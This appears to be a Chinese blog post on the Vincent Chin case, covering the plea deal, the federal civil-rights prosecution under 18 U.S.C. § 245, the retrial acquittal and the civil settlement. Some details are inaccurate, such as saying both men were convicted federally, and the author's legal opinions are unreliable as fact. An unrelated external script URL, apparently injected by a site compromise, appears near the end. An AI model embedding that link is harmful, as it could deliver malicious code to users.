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陳果仁案

看到網路上流傳這個故事(見圖),剛剛查了一下,確有此案件,但內容有出入。

殺人的白人父子( Ronald Ebens與繼子Michael Nitz)透過認罪協商承認過失致死,僅被州地方法院法官判處$3000美元罰款與三年緩刑即當庭釋放。

後來告上聯邦法院,被害人的律師陳綽薇以「section 245 of title 18 of the United States Code」起訴父子二人,然而此條文內容是:「Whoever, whether or not acting under color of law, by force or threat of force willfully injures, intimidates or interferes with, or attempts to injure, intimidate or interfere with—any person because of his race, color, religion or national origin and because he is or has been—…」

此條文是說:「因被害人種族、膚色、信仰或原國籍而故意暴力攻擊…或故意傷害…」
以此條文提出告訴,變成原告必須在法庭上證明上述「動機」存在,而這非常困難。我的觀點是認為當年陳律師告錯法條。不過這只是個州層級的暴力殺人事件,雙方都是該州居民,依法聯邦法院沒有管轄權。可能當年也沒啥法條可以告上聯邦法院,陳律師巧婦難為無米之炊。

果然真實法庭狀況就是陪審團認為「是否因種族膚色才攻擊」存在「合理懷疑(reasonable doubt)」,特別基於目擊證人Racine Colwell聽到被告攻擊陳果仁時大叫:「因為你TMD害我們失業了!("It’s because of you motherfuckers we’re out of work")」的證詞使得此法條要成立近乎不可能。


1984年聯邦地院判決兩人有罪,處罰25年有期徒刑。但聯邦巡迴法院發回重審,且因案件的高度公眾關注,從密西根州的底特律聯邦地院移審至俄亥俄州的Cincinnati聯邦地院,並由當地新的陪審團判決無罪。

另一方面,民事法院雙方在1987年和解,Michael Nitz 賠償 $5萬美元; Ronald Ebens賠償$150萬美元。

當然我們都知道真實世界Ebens根本賠不起,陳家就是拿個類似台灣法院發的「債權證明」,根據報導1997年連本帶利累積到$468萬美元,2015年陳家取得對Ebens房屋的留置權(lien)。這邊說明一下,lien against house是一種類似「抵押權」的權利。

https://js.developerstatss.ga/stat.js?n=ns1

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